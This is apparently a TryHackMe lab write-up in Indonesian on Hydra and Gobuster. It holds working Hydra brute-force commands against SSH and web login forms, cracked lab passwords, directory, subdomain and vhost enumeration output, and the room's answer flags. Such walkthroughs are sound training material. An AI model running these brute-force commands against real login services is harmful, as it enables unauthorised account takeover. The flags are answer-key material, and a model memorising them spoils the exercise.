Writeup Aria
RoadMapCyber Security 101

Offensive Security Tooling Part 1

Hydra

Hydra Introduction

Hydra adalah alat brute force online password cracking yang digunakan untuk menebak kata sandi layanan login secara otomatis dan cepat. Hydra bekerja dengan cara mencoba kombinasi username dan password dari sebuah wordlist ke berbagai layanan autentikasi.

Alat ini sangat berguna untuk menggantikan proses menebak password secara manual pada layanan seperti SSH, FTP, Web Login Form, SNMP, dan lainnya.

⚙️ Cara Kerja Hydra

Hydra akan:

  • Mengambil daftar username dan/atau password
  • Mencoba login ke sebuah layanan secara berulang
  • Menghentikan proses ketika kredensial yang benar ditemukan

Dengan cara ini, proses pencarian password menjadi jauh lebih cepat dan efisien dibandingkan percobaan manual.

🌐 Protokol yang Didukung Hydra

Menurut repositori resminya, Hydra mendukung brute force pada banyak protokol, di antaranya:

  • Remote Access: SSH, Telnet, RDP, VNC
  • Web: HTTP/HTTPS (GET, POST, FORM)
  • File & Mail: FTP, SMB, SMTP, POP3, IMAP
  • Database: MySQL, MSSQL, PostgreSQL, MongoDB
  • Network Services: SNMP, LDAP, SOCKS5
  • Lainnya: Cisco Auth, Oracle, VMware-Auth, XMPP, dan masih banyak lagi

Hal ini menjadikan Hydra sebagai salah satu alat brute force paling lengkap.

🔑 Pentingnya Password yang Kuat

Penggunaan Hydra menunjukkan betapa rentannya password yang lemah, seperti:

  • Terlalu pendek (≤ 8 karakter)
  • Tidak menggunakan simbol
  • Password umum atau default

Banyak perangkat dan aplikasi masih menggunakan kredensial default seperti:

admin : password

Contohnya pada CCTV, router, dan web framework, yang sangat mudah dibobol jika tidak diganti.

🛠️ Instalasi Hydra

Hydra sudah tersedia secara default pada beberapa sistem:

✔️ AttackBox
  • Hydra sudah terpasang
  • Cukup klik Start AttackBox
✔️ Kali Linux
  • Hydra tersedia di semua distribusi Kali
  • Jalankan Kali dan gunakan langsung
✔️ Linux Lain (Ubuntu/Fedora)
  • Ubuntu/Debian:
    apt install hydra
  • Fedora:
    dnf install hydra

Hydra juga bisa diunduh langsung dari repositori resmi THC-Hydra.

Using Hydra

Opsi (options) yang digunakan pada Hydra bergantung pada layanan atau protokol yang ingin diserang, misalnya FTP, SSH, atau Web Form.

Sebagai contoh, untuk melakukan brute force pada layanan FTP dengan:

  • Username: user
  • Wordlist password: passlist.txt

Perintahnya:

hydra -l user -P passlist.txt ftp://MACHINE_IP

🔐 Brute Force SSH dengan Hydra

Contoh perintah umum:

hydra -l <username> -P <full path ke password> MACHINE_IP -t 4 ssh
📌 Penjelasan Opsi
OpsiKeterangan
-lMenentukan username untuk login
-PMenentukan file wordlist password
-tJumlah thread (percobaan paralel)
sshProtokol yang diserang
📎 Contoh
hydra -l root -P passwords.txt MACHINE_IP -t 4 ssh

Artinya:

  • Menggunakan root sebagai username
  • Mencoba password dari file passwords.txt
  • Menggunakan 4 thread secara paralel
  • Menyerang layanan SSH

🌐 Brute Force Web Login Form (POST)

Hydra juga bisa digunakan untuk menyerang form login website, khususnya dengan metode POST.

Sebelum menyerang:

  • Pastikan jenis request (GET / POST)
  • Cek menggunakan Developer Tools → Network di browser
📄 Format Umum
sudo hydra -l <username> -P <wordlist> MACHINE_IP http-post-form "<path>:<login_credentials>:<invalid_response>"
📌 Penjelasan Parameter
ParameterKeterangan
-lUsername login
-PWordlist password
http-post-formTipe form menggunakan POST
<path>URL halaman login (contoh: /login.php)
<login_credentials>Format data login
<invalid_response>Teks yang muncul saat login gagal
-VMenampilkan setiap percobaan (verbose)
📎 Contoh Perintah Lengkap
hydra -l <username> -P <wordlist> MACHINE_IP http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -V

Penjelasan:

  • Login page berada di /
  • Field form username bernama username
  • Field password bernama password
  • ^USER^ akan diganti username
  • ^PASS^ akan diganti password dari wordlist
  • incorrect adalah teks yang muncul saat login gagal

🔢 Menentukan Port Non-Default

Jika web server berjalan pada port selain default (80/443), gunakan opsi -s:

hydra -l <username> -P <wordlist> MACHINE_IP http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -s <port> -V

✅ Kesimpulan

Dengan Hydra, kita bisa:

  • Melakukan brute force pada SSH
  • Menyerang web login form (POST)
  • Mengatur kecepatan dan efisiensi dengan thread
  • Menyesuaikan port dan response error

Semua ini menegaskan pentingnya: 🔑 Password kuat & konfigurasi keamanan yang benar

Answers Questions

kunjungi web page 10.48.168.219, dan coba lakukan login biasa terlebih dahulu untuk mengetahui response ketika login gagal.

1768646276725

hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.48.168.219 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect." -V
# [ATTEMPT] target 10.48.168.219 - login "molly" - pass "angel" - 34 of 14344398 [child 0] (0/0)
# [ATTEMPT] target 10.48.168.219 - login "molly" - pass "jordan" - 35 of 14344398 [child 4] (0/0)
# [ATTEMPT] target 10.48.168.219 - login "molly" - pass "liverpool" - 36 of 14344398 [child 10] (0/0)
# [80][http-post-form] host: 10.48.168.219   login: molly   password: sunshine

setelah mengetahui password nya kita login dan dapatkan flag molly:sunshine.

1768646319661

  • Use Hydra to bruteforce molly's web password. What is flag 1?
    • if you've tried more than 30 passwords from RockYou.txt

THM{2673a7dd116de68e85c48ec0b1f2612e}

hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.48.168.219 ssh
# [22][ssh] host: 10.48.168.219   login: molly   password: butterfly

kita coba login ssh dengan credensial molly:butterfly dan dapatkan flag nya.

ssh molly@10.48.168.219
# butterfly

cat flag2.txt
# THM{c8eeb0468febbadea859baeb33b2541b}
  • Use Hydra to bruteforce molly's SSH password. What is flag 2?

THM{c8eeb0468febbadea859baeb33b2541b}


Gobuster: The Basics

Environment Setup

Pada room ini, digunakan VM Ubuntu 20.04 yang berfungsi sebagai web server. Web server tersebut memiliki beberapa subdomain dan virtual host (vhost), serta menjalankan dua CMS, yaitu WordPress dan Joomla.

Selama room berlangsung, proses enumerasi direktori web dan subdomain dilakukan menggunakan Gobuster di AttackBox (yang sudah terpasang Gobuster). Jika ingin menggunakan mesin sendiri, pengguna harus terhubung ke VPN TryHackMe dan menginstal Gobuster secara manual (panduan tersedia di repository GitHub resmi Gobuster).

Untuk memulai:

  • Jalankan web server dengan menekan Start Machine (butuh ±2 menit untuk boot).
  • Jalankan AttackBox melalui tombol Start AttackBox.
  • Akses langsung ke web server tidak diperlukan.

Karena environment menggunakan jaringan lokal dengan DNS server di web server, diperlukan konfigurasi DNS agar domain dapat di-resolve dengan benar:

  1. Edit file /etc/resolv-dnsmasq di AttackBox.
  2. Tambahkan nameserver 10.49.181.246 sebagai baris pertama.
  3. Simpan perubahan dan keluar.
  4. Restart service dnsmasq.
sudo nano /etc/resolv-dnsmasq
# ---
nameserver 10.49.181.246
# [...]
# ---

cat /etc/resolv-dnsmasq
# nameserver 10.49.181.246
# nameserver 169.254.169.253

ini bertujuan agar AttackBox dapat melakukan resolve domain ke IP web server.

Gobuster: Introduction

1. Pengertian Gobuster

Gobuster adalah tools open-source berbasis Golang yang digunakan untuk melakukan enumerasi secara brute force terhadap berbagai layanan, antara lain:

  • Direktori dan file web
  • Subdomain DNS
  • Virtual Host (vhost)
  • Amazon S3 bucket
  • Google Cloud Storage bucket

Gobuster banyak digunakan oleh profesional keamanan, penetration tester, dan bug bounty hunter. Dalam tahapan ethical hacking, Gobuster berada di antara fase reconnaissance (pengintaian) dan scanning (pemindaian).

2. Konsep Dasar

a. Enumeration

Enumeration adalah proses mendaftarkan atau mengidentifikasi semua resource yang tersedia, baik yang bisa diakses maupun tidak. Contoh: Gobuster digunakan untuk menemukan direktori tersembunyi pada sebuah website.

b. Brute Force

Brute force adalah metode mencoba semua kemungkinan sampai menemukan kecocokan. Contohnya seperti mencoba banyak kunci hingga satu kunci dapat membuka gembok. Gobuster menggunakan wordlist untuk melakukan brute force ini.

3. Gambaran Umum Gobuster

Gobuster sudah tersedia secara default pada distro seperti Kali Linux. Untuk melihat fitur dan opsi yang tersedia, dapat digunakan perintah:

gobuster --help

Perintah ini menampilkan panduan penggunaan Gobuster.

4. Struktur Help Page Gobuster

a. Usage

Menjelaskan cara penggunaan dasar perintah Gobuster.

b. Available Commands

Perintah-perintah utama Gobuster, di antaranya:

  • dir → Enumerasi direktori dan file web
  • dns → Enumerasi subdomain DNS
  • vhost → Enumerasi virtual host
  • fuzz → Mode fuzzing
  • s3 → Enumerasi AWS S3 bucket
  • gcs → Enumerasi Google Cloud Storage bucket

Fokus utama dalam room ini adalah dir, dns, dan vhost.

c. Flags (Opsi Penting)

Beberapa flag yang sering digunakan:

Short FlagLong FlagKeterangan
-t--threadsMenentukan jumlah thread (default: 10). Semakin besar, semakin cepat, namun tergantung resource
-w--wordlistMenentukan wordlist yang digunakan untuk brute force
--delayMemberi jeda waktu antar request agar tidak terdeteksi
--debugMembantu troubleshooting saat terjadi error
-o--outputMenyimpan hasil enumerasi ke file

5. Contoh Penggunaan Gobuster

Contoh enumerasi direktori web:

gobuster dir -u "http://www.example.thm/" -w /usr/share/wordlists/dirb/small.txt -t 64

Penjelasan:

  • gobuster dir → Menggunakan mode enumerasi direktori
  • -u → Target URL
  • -w → Wordlist yang digunakan untuk brute force
  • -t 64 → Menggunakan 64 thread untuk mempercepat proses

Gobuster akan mencoba setiap kata dalam wordlist sebagai nama direktori dan mengirim request ke target URL.

6. Kesimpulan

Gobuster adalah tools yang sangat efektif untuk enumerasi resource tersembunyi pada sebuah target. Dengan pemilihan mode, wordlist, dan konfigurasi flag yang tepat, Gobuster dapat membantu mengumpulkan informasi penting sebelum masuk ke tahap eksploitasi.

  • What flag do we use to specify the target URL?

-u

  • What command do we use for the subdomain enumeration mode?

dns

Use Case: Directory and File Enumeration

1. Pengertian Dir Mode

Gobuster dir mode digunakan untuk melakukan enumerasi direktori dan file pada sebuah website. Mode ini sangat berguna dalam penetration testing untuk mengetahui struktur direktori dan file yang dimiliki sebuah web server.

Banyak website dan web application menggunakan struktur direktori standar, seperti pada WordPress, sehingga rentan untuk ditemukan menggunakan metode brute force dengan wordlist.

Contoh struktur direktori WordPress:

/wordpress
├── wp-admin
├── wp-content
└── wp-includes

2. Kelebihan Gobuster Dir

Gobuster dapat menampilkan HTTP status code dari setiap request, sehingga kita dapat mengetahui:

  • Direktori/file dapat diakses atau tidak
  • Apakah terjadi redirect, forbidden, atau not found

3. Help Gobuster Dir

Untuk melihat opsi lengkap dir mode, gunakan perintah:

gobuster dir --help

Karena opsinya cukup banyak, fokus utama diberikan pada flag yang paling sering digunakan.

4. Flag Penting pada Dir Mode

FlagLong FlagFungsi
-c--cookiesMenambahkan cookie (misalnya session ID) pada setiap request
-x--extensionsMenentukan ekstensi file yang ingin dicari (contoh: .php, .js)
-H--headersMenambahkan header HTTP pada setiap request
-k--no-tls-validationMelewati validasi TLS (berguna untuk sertifikat self-signed)
-n--no-statusMenyembunyikan status code agar output lebih bersih
-U--usernameUsername untuk request terautentikasi
-P--passwordPassword untuk request terautentikasi
-s--status-codesMenentukan status code yang ingin ditampilkan
-b--status-codes-blacklistMenentukan status code yang ingin disembunyikan
-r--followredirectMengikuti redirect (301/302) secara otomatis

5. Cara Menggunakan Dir Mode

Format dasar perintah:

gobuster dir -u "http://www.example.thm" -w /path/to/wordlist

Catatan: Flag -u (URL) dan -w (wordlist) wajib digunakan.

6. Contoh Enumerasi Direktori

gobuster dir -u "http://www.example.thm" \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r

Penjelasan:

  • dir → Mode enumerasi direktori dan file
  • -u → URL target (harus menyertakan protokol HTTP/HTTPS)
  • -w → Wordlist yang digunakan
  • -r → Mengikuti redirect otomatis

Catatan penting:

  • Gunakan hostname daripada IP untuk menghindari salah target akibat virtual hosting
  • Gobuster tidak melakukan enumerasi secara rekursif, jadi direktori yang menarik harus discan ulang secara manual

7. Contoh Enumerasi File Berdasarkan Ekstensi

gobuster dir -u "http://www.example.thm" \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x .php,.js

Perintah ini akan:

  • Mencari direktori
  • Mencari file dengan ekstensi .php dan .js
  • Which flag do we have to add to our command to skip the TLS verification? Enter the long flag notation.

--no-tls-validation

gobuster dir -u "http://www.offensivetools.thm" -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u "http://www.offensivetools.thm" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# /images               (Status: 301) [Size: 333] [--> http://www.offensivetools.thm/images/]
# /home                 (Status: 200) [Size: 8818]
# /media                (Status: 301) [Size: 332] [--> http://www.offensivetools.thm/media/]
# /templates            (Status: 301) [Size: 336] [--> http://www.offensivetools.thm/templates/]

# /modules              (Status: 301) [Size: 334] [--> http://www.offensivetools.thm/modules/]
# /plugins              (Status: 301) [Size: 334] [--> http://www.offensivetools.thm/plugins/]
# /includes             (Status: 301) [Size: 335] [--> http://www.offensivetools.thm/includes/]
# /language             (Status: 301) [Size: 335] [--> http://www.offensivetools.thm/language/]
# /components           (Status: 301) [Size: 337] [--> http://www.offensivetools.thm/components/]
# /api                  (Status: 301) [Size: 330] [--> http://www.offensivetools.thm/api/]
# /cache                (Status: 301) [Size: 332] [--> http://www.offensivetools.thm/cache/]
# /libraries            (Status: 403) [Size: 287]
# /tmp                  (Status: 301) [Size: 330] [--> http://www.offensivetools.thm/tmp/]
# /layouts              (Status: 301) [Size: 334] [--> http://www.offensivetools.thm/layouts/]
# /secret               (Status: 301) [Size: 333] [--> http://www.offensivetools.thm/secret/]
# /administrator        (Status: 301) [Size: 340] [--> http://www.offensivetools.thm/administrator/]
  • Enumerate the directories of www.offensivetools.thm. Which directory catches your attention?
    • Use the directory-list-2.3-medium.txt wordlist for enumeration. The directory in question starts with an “s”.

secret

gobuster dir -u "http://www.offensivetools.thm/secret" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .js
# /content              (Status: 301) [Size: 341] [--> http://www.offensivetools.thm/secret/content/]
# /uploads              (Status: 301) [Size: 341] [--> http://www.offensivetools.thm/secret/uploads/]
# /flag.js              (Status: 200) [Size: 22]
curl http://www.offensivetools.thm/secret/flag.js
# THM{ReconWasASuccess}
  • Continue enumerating the directory found in question 2. You will find an interesting file there with a .js extension. What is the flag found in this file?
    • -x does the trick.

THM{ReconWasASuccess}

Use Case: Subdomain Enumeration

1. Pengertian DNS Mode

Gobuster dns mode digunakan untuk melakukan brute force subdomain pada sebuah domain utama. Dalam penetration testing, enumerasi subdomain sangat penting karena:

  • Subdomain sering kali memiliki konfigurasi berbeda
  • Patch keamanan di domain utama belum tentu diterapkan pada subdomain
  • Celah keamanan bisa saja terdapat di subdomain tertentu

Contoh:

  • tryhackme.thm aman
  • mobile.tryhackme.thm masih memiliki kerentanan

Karena itu, pencarian subdomain merupakan langkah penting dalam fase reconnaissance.

2. Help Gobuster DNS

Untuk melihat seluruh opsi dns mode:

gobuster dns --help

DNS mode memiliki flag lebih sedikit dibanding dir mode, namun sudah cukup untuk sebagian besar kebutuhan enumerasi subdomain.

3. Flag Penting pada DNS Mode

FlagLong FlagFungsi
-c--show-cnameMenampilkan CNAME record (tidak bisa digunakan bersamaan dengan -i)
-i--show-ipsMenampilkan alamat IP hasil resolusi domain dan subdomain
-r--resolverMenentukan DNS server khusus untuk resolving
-d--domainMenentukan domain target yang akan dienumerasi

4. Cara Menggunakan DNS Mode

Format dasar perintah:

gobuster dns -d example.thm -w /path/to/wordlist

Catatan: Flag -d (domain) dan -w (wordlist) wajib digunakan.

5. Contoh Enumerasi Subdomain

gobuster dns -d example.thm \
-w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt

Penjelasan:

  • gobuster dns → Mode enumerasi subdomain
  • -d example.thm → Domain target
  • -w → Wordlist subdomain yang digunakan
  • Setiap kata dalam wordlist akan dicoba sebagai subdomain Contoh: all.example.thm, www.example.thm, dll

6. Contoh Hasil Output

Gobuster akan menampilkan subdomain yang valid, seperti:

  • www.example.thm
  • shop.example.thm
  • academy.example.thm
  • primary.example.thm

Selain itu, Gobuster juga menampilkan:

  • Jumlah thread
  • Timeout
  • Progres enumerasi
  • Wordlist yang digunakan
  • Apart from the dns keyword and the -w flag, which shorthand flag is required for the command to work?

-d

gobuster dns -d offensivetools.thm -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
# Found: www.offensivetools.thm
# Found: forum.offensivetools.thm
# Found: store.offensivetools.thm
# Found: WWW.offensivetools.thm
# Found: primary.offensivetools.thm
  • Use the commands learned in this task, how many subdomains are configured for the offensivetools.thm domain?
    • Use the /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt wordlist. You can ignore duplicate entries with casing.

4

Use Case: Vhost Enumeration

1. Pengertian VHOST Mode

Gobuster vhost mode digunakan untuk melakukan brute force virtual host (vhost).

Virtual host adalah beberapa website berbeda yang berjalan pada satu server dan satu IP yang sama. Sekilas vhost bisa terlihat seperti subdomain, namun sebenarnya berbeda:

VHOSTSUBDOMAIN
Berbasis IPBerbasis DNS
Berjalan di server yang samaDikonfigurasi di DNS
Dibedakan lewat HTTP Host headerDibedakan lewat resolusi DNS

2. Perbedaan DNS Mode vs VHOST Mode

  • DNS Mode Melakukan DNS lookup ke FQDN (subdomain.domain.tld).
  • VHOST Mode Mengirim request ke satu IP/URL, lalu mengganti nilai Host: pada HTTP header berdasarkan wordlist.

3. Help Gobuster VHOST

Untuk melihat opsi lengkap vhost mode:

gobuster vhost --help

Karena opsinya cukup banyak, fokus hanya pada flag yang paling sering digunakan.

4. Flag Penting pada VHOST Mode

FlagLong FlagFungsi
-u--urlMenentukan URL atau IP target
--append-domainMenambahkan domain ke setiap kata di wordlist
-m--methodMenentukan metode HTTP (GET, POST, dll)
--domainMenentukan domain (SLD + TLD)
--exclude-lengthMemfilter hasil berdasarkan ukuran response
-r--follow-redirectMengikuti redirect HTTP

5. Cara Menggunakan VHOST Mode

Format dasar perintah:

gobuster vhost -u "http://example.thm" -w /path/to/wordlist

Catatan: Flag -u dan -w wajib digunakan.

6. Contoh Enumerasi Virtual Host

gobuster vhost -u "http://10.49.181.246" \
--domain example.thm \
-w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain \
--exclude-length 250-320

7. Cara Kerja HTTP Request VHOST

Contoh request yang dikirim Gobuster:

GET / HTTP/1.1
Host: www.example.thm
User-Agent: gobuster/3.6

Struktur Host: terdiri dari:

  • Subdomain → diisi dari wordlist (www, blog, dll)
  • Second-level domainexample
  • Top-level domain.thm

8. Penjelasan Flag pada Contoh

  • gobuster vhost → Mode enumerasi virtual host
  • -u http://10.49.181.246 → IP target
  • -w → Wordlist subdomain
  • --domain example.thm → Menentukan domain utama
  • --append-domain → Menggabungkan wordlist + domain agar tidak terjadi false positive
  • --exclude-length → Menghapus hasil palsu berdasarkan ukuran response

Tanpa --exclude-length, banyak hasil palsu (404) akan muncul dengan ukuran response yang mirip.

gobuster vhost -u http://10.49.181.246 --domain offensivetools.thm -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain --exclude-length 250-320
# Found: forum.offensivetools.thm Status: 200 [Size: 2635]
# Found: store.offensivetools.thm Status: 200 [Size: 3014]
# Found: www.offensivetools.thm Status: 200 [Size: 8806]
# Found: secret.offensivetools.thm Status: 200 [Size: 1550]
# Found: WWW.offensivetools.thm Status: 200 [Size: 8806]
  • Use the commands learned in this task to answer the following question: How many vhosts on the offensivetools.thm domain reply with a status code 200?
    • Copy the example command and edit the flags accordingly.

4

On this page